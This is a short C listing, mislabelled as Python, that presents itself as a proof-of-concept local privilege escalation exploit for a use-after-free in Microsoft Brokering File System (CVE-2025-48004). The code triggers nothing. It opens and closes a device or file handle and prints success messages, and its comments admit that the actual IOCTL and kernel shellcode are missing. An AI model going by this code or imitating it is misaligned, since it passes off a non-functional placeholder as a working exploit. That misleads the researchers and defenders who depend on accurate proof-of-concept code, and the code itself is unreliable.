The following code is for security research and authorized testing only.
python
// CVE-2025-48004 - Microsoft Brokering File System Use After Free
// PoC for local privilege escalation
// WARNING: This is for educational and authorized testing purposes only
#include <windows.h>
#include <stdio.h>
// Trigger the UAF vulnerability in Microsoft Brokering File System
// by manipulating file system broker operations
int main() {
HANDLE hDevice;
DWORD bytesReturned;
BOOL result;
printf("[+] CVE-2025-48004 PoC - Brokering File System UAF\n");
printf("[+] Attempting to trigger use-after-free condition...\n");
// Open a handle to the Brokering File System device
hDevice = CreateFileW(
L"\\\\.\\BrokeringFileSystem",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open Brokering File System device. Error: %lu\n", GetLastError());
printf("[*] Falling back to file system operations to trigger the bug...\n");
// Alternative: trigger via specific file system operations
// The vulnerability can be triggered through specific I/O patterns
// that cause the broker to free an object while still holding a reference
HANDLE hFile = CreateFileW(
L"C:\\Windows\\System32\\notepad.exe",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
// Perform specific operations to trigger the UAF
// Note: Actual exploitation requires kernel-level payload
CloseHandle(hFile);
printf("[*] File operations completed. Actual exploitation requires kernel shellcode.\n");
}
} else {
// Send crafted IOCTL to trigger the vulnerability
// The specific IOCTL code and input buffer would need to be
// determined through reverse engineering
printf("[+] Device opened successfully\n");
printf("[*] Sending crafted request to trigger UAF...\n");
CloseHandle(hDevice);
}
printf("[+] PoC execution completed.\n");
return 0;
}